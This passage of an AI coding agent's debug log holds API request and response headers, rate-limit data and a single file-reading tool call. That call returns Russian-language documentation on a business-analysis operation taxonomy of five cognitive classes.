...],\n[2026-09-29T07:47:00.823Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:00.838Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:00.848Z] [STDOUT]     },\n[2026-09-29T07:47:00.858Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:00.860Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:00.871Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:00.881Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:00.890Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:00.895Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:00.900Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:00.905Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:00.911Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:00.916Z] [STDOUT]     },\n[2026-09-29T07:47:00.924Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:00.928Z] [STDOUT]   },\n[2026-09-29T07:47:00.930Z] [STDOUT]   headers: {\n[2026-09-29T07:47:00.935Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:00.938Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:00.941Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:00.942Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:00.945Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:00.949Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:00.953Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:00.955Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:00.962Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:00.966Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1499\",\n[2026-09-29T07:47:00.974Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:00.979Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:00.983Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:00.986Z] [STDOUT]     \"x-client-request-id\": \"cfa20ebf-2998-4194-9e89-8d5bd4c2feb7\",\n[2026-09-29T07:47:00.989Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:00.998Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:01.002Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:01.005Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:01.008Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:01.012Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:01.019Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:01.040Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:01.049Z] [STDOUT]   },\n[2026-09-29T07:47:01.068Z] [STDOUT] }\n[2026-09-29T07:47:01.607Z] [STDOUT] [log_781ea2, request-id: \"req_011CfXMsq7AkdygFi2e9b5YN\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 935ms\n[2026-09-29T07:47:01.635Z] [STDOUT] [log_781ea2] response start {\n[2026-09-29T07:47:01.677Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:01.686Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:01.699Z] [STDOUT]   headers: {\n[2026-09-29T07:47:01.741Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:01.751Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:01.774Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:01.789Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:01.819Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:01.826Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:01.841Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:01.854Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:01.860Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:01.871Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:01.881Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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charset=utf-8\",\n[2026-09-29T07:47:01.971Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:01 GMT\",\n[2026-09-29T07:47:01.976Z] [STDOUT]     \"request-id\": \"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:01.988Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:02.001Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:02.016Z] [STDOUT]     traceresponse: \"00-da3781990b02c652d8e912d1878682a2-59e4de627121b9af-01\",\n[2026-09-29T07:47:02.034Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:02.048Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:02.065Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:02.076Z] [STDOUT]   },\n[2026-09-29T07:47:02.092Z] [STDOUT]   durationMs: 935,\n[2026-09-29T07:47:02.110Z] [STDOUT] }\n[2026-09-29T07:47:02.117Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:02.121Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:01 GMT\",\n[2026-09-29T07:47:02.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:02.141Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:02.150Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:02.168Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:02.181Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:02.191Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:02.199Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:02.212Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:02.217Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:02.228Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:02.238Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:02.248Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:02.260Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:02.265Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:02.268Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:02.275Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:02.281Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:02.287Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:02.291Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:02.296Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:02.301Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:02.304Z] [STDOUT]   \"request-id\": \"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:02.308Z] [STDOUT]   \"traceresponse\": \"00-da3781990b02c652d8e912d1878682a2-59e4de627121b9af-01\",\n[2026-09-29T07:47:02.310Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:02.313Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:02.318Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:02.322Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:02.325Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:02.331Z] [STDOUT]   \"cf-ray\": \"a42960993b2bdbb5-FRA\",\n[2026-09-29T07:47:02.335Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:02.339Z] [STDOUT] [log_781ea2] response parsed {\n[2026-09-29T07:47:02.343Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:02.347Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:02.352Z] [STDOUT]   body: X {\n[2026-09-29T07:47:02.357Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:02.359Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:02.371Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:02.377Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:02.380Z] [STDOUT]     },\n[2026-09-29T07:47:02.383Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:02.388Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:02.393Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:02.398Z] [STDOUT]   },\n[2026-09-29T07:47:02.404Z] [STDOUT]   durationMs: 951,\n[2026-09-29T07:47:02.408Z] [STDOUT] }\n[2026-09-29T07:47:03.083Z] [INFO] {\n[2026-09-29T07:47:03.083Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:03.083Z] [INFO] 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ba-meta-model/operation-taxonomy/20-taxonomy.md\",\n[2026-09-29T07:47:03.083Z] [INFO]           \"description\": \"Read the five cognitive classes definition\"\n[2026-09-29T07:47:03.083Z] [INFO]         },\n[2026-09-29T07:47:03.083Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:03.083Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:03.083Z] [INFO]         }\n[2026-09-29T07:47:03.083Z] [INFO]       }\n[2026-09-29T07:47:03.083Z] [INFO]     ],\n[2026-09-29T07:47:03.083Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:03.083Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:03.083Z] [INFO]       \"cache_creation_input_tokens\": 999,\n[2026-09-29T07:47:03.083Z] [INFO]       \"cache_read_input_tokens\": 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\"ee3eb5bb-1ba5-4d9a-8655-aacd3dd41608\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:03.025Z\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"request_id\": \"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:03.083Z] [INFO]     \"toolu_01AX6yf6qCt2bCdQEP7puaGn\": {\n[2026-09-29T07:47:03.083Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 20,45p ba-meta-model/operation-taxonomy/00-introduction.md; sed -n 51,75p ba-meta-model/operation-taxonomy/10-theory.md | cut -c1-400; sed -n 225,235p ba-meta-model/operation-taxonomy/20-taxonomy.md\",\n[2026-09-29T07:47:03.083Z] [INFO]       \"description\": \"Read the five cognitive classes definition\"\n[2026-09-29T07:47:03.083Z] [INFO]     }\n[2026-09-29T07:47:03.083Z] [INFO]   }\n[2026-09-29T07:47:03.083Z] [INFO] }\n[2026-09-29T07:47:05.232Z] [INFO] {\n[2026-09-29T07:47:05.232Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:05.232Z] [INFO]   \"message\": {\n[2026-09-29T07:47:05.232Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:05.232Z] [INFO]     \"content\": [\n[2026-09-29T07:47:05.232Z] [INFO]       {\n[2026-09-29T07:47:05.232Z] [INFO]         \"tool_use_id\": \"toolu_01AX6yf6qCt2bCdQEP7puaGn\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:05.232Z] [INFO]         \"content\": \"## BLUF\\n\\n1. \u041f\u0440\u0435\u0436\u043d\u0438\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\u00bb \u2014 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0431\u043e\u0442\u044b**:\\n   \u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430, \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u0437\\n   \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n   (`D3`, `D4`,\\n   [\u0444\u0430\u043a\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md)).\\n2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\n   \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435** \u0441\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u0445\u043e\u0434\u0430 \u0438 \u0432\u044b\u0445\u043e\u0434\u0430, \u043a\u0430\u043a \u0442\u0440\u0435\u0431\u0443\u0435\u0442 issue #571:\\n   \u00ab\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\u00bb, \u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb, \u0430 \u043d\u0435 \u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c\u00bb \u0438 \u043d\u0435\\n   \u00ab\u043d\u0430\u0436\u0430\u0442\u044c\u00bb.\\n3. \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0448\u0435\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438 `OA-1`\u2013`OA-6`, \u0430 \u043d\u0435\\n   \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0430. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435: \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n4. \u0412\u0441\u0451, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u043b\u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u2014 **\u043d\u0430\u0432\u044b\u043a (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441)**\\n   \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0420\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\\n   \u0442\u0435\u0441\u0442\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u044f.\\n5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\n   \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n   \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 (`T-2`).\\n6. \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 **33 \u043d\u0430\u0432\u044b\u043a\u043e\u0432** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u041d\u0430\u0432\u044b\u043a \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c (`EX-4`).\\n7. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043e\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f:\\n   \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 \u043e\u0446\u0435\u043d\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\u0445\u0435\u043c\u043e\u0439, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n8. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (\u00ab\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u00bb, \u00ab\u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb) \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f\\n## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n\\n\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n\u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0432 \u0432\u044b\u0445\u043e\u0434\u0435. \u042d\u0442\u043e \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u041e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 | \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e | \u0420\u0438\u0441\u043a |\\n| --- | --- | --- | --- |\\n| `extract` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\u0437 \u0432\u0445\u043e\u0434\u0430; \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f | `G6` \u0432\u043d\u0435\u0448\u043d\u044f\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 |\\n| `transform` \u2014 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0444\u043e\u0440\u043c\u0430 \u0438\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u043d\u0435 \u0441\u043c\u044b\u0441\u043b | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| `check` \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0432\u0445\u043e\u0434\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e | `G2` \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 + `G6` \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432, \u0432\u044b\u0440\u0430\u0437\u0438\u043c\u044b\u0445 \u043a\u043e\u0434\u043e\u043c | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e 